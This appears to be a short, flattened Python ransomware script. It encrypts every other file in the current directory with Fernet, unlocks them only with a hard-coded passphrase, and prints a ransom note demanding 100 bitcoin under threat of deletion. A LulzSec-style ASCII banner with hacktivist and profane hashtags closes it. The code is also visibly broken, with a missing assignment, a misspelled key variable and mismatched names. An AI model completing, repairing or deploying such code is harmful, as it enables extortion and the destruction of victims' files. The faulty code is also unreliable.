import os from cryptography.fernet import Fernet files [] for file in os.listdir(): if file == "voldemort.py" or file == "thekey.key" or file == "decrypt.py": continue if os.path.isfile(file): files.append(file print(files) for file in files: with open(file, "rb") as thefile: contents = thefile.read() contents_encrypted = fernet(zecretkey).encrypt(content) with open(file, "wb") as thefile: thefile.write(contents_encrypted) with open("thekey.key", "rb") as key: secretkey = key.read() secretphrase = "coffe" user_phase = input("Enter the secret phrase to decrypt your files\n") if user_phrase == secretphrase for file in files: with open(file, "rb") as thefile: contents = thefile.read() contents_dencrypted = fernet(zecretkey).decrypt(content) with open(file, "wb") as thefile: thefile.write(contents_dencrypted) print ("congrats, youre files are decrypted. Enjoy your coffee") else: print ("sorry wrong phrase") print ("All of your files have been encrypted!! Send me 100 bitcoin or ill delete them in 24 hours") . /$$ /$$ /$$$$$$ .| $$ | $$ /$$__ $$ .| $$ /$$ /$$| $$ /$$$$$$$$| $$ \__/ /$$$$$$ /$$$$$$$ .| $$ | $$ | $$| $$|____ /$$/| $$$$$$ /$$__ $$ /$$_____/ .| $$ | $$ | $$| $$ /$$$$/ \____ $$| $$$$$$$$| $$ .| $$ | $$ | $$| $$ /$$__/ /$$ \ $$| $$_____/| $$ .| $$$$$$$$| $$$$$$/| $$ /$$$$$$$$| $$$$$$/| $$$$$$$| $$$$$$.$ .|________/ \______/ |__/|________/ \______/ \_______/ \_______/ //Laughing at your security since 2011! + __ )| ________________________.------,_ _ _/o|_____/ ,____________.__;__,__,__,__,_Y...:::---===````// #anonymous |==========\ ; ; ; ; ; \__,__\__,_____ --__,-.\ OFF (( #anarchists `----------|__,__/__,__/__/ )=))~(( '-\ THE \\ #antisec \ ==== \ \\~~\\ \ PIGS \\ #lulzsec `| === | ))~~\\ ```"""=,)) #fuckfbifriday | === | |'---') #chingalamigra / ==== / `=====' ´------´